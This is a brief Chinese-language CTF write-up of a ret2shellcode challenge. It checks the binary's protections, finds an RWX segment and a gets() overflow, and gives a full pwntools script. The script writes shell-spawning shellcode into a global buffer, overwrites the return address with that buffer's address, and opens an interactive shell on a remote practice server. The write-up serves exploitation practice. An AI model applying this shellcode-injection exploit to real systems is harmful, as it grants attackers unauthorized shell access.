这是一道ret2shellcode的题目不难。还是想记录一下:
这次我的先查看一下程序的保护机制:
重点是 RWX: HasRWX segments 有这个基本就是ret2shellcode。因为程序中存在 可读可写可执行的片段这很危险的;
接着看一下IDA中的伪代码
程序中有两处输入,name这一个全局变量 在bss段。我们可以往name中写入 shellcode。下面还有一个gets函数,接着我们可以通过栈溢出劫持程序让程序执行name中的shellcode。
from pwn import*
context(arch=‘amd64‘,os=‘linux‘)
r=remote(‘node4.buuoj.cn‘,27513)
shellcode=asm(shellcraft.sh())
r.sendlineafter("tell me your name",shellcode)
payload=‘a‘*0x28+p64(0x601080)
r.sendlineafter("What do you want to say to me?",payload)
r.interactive()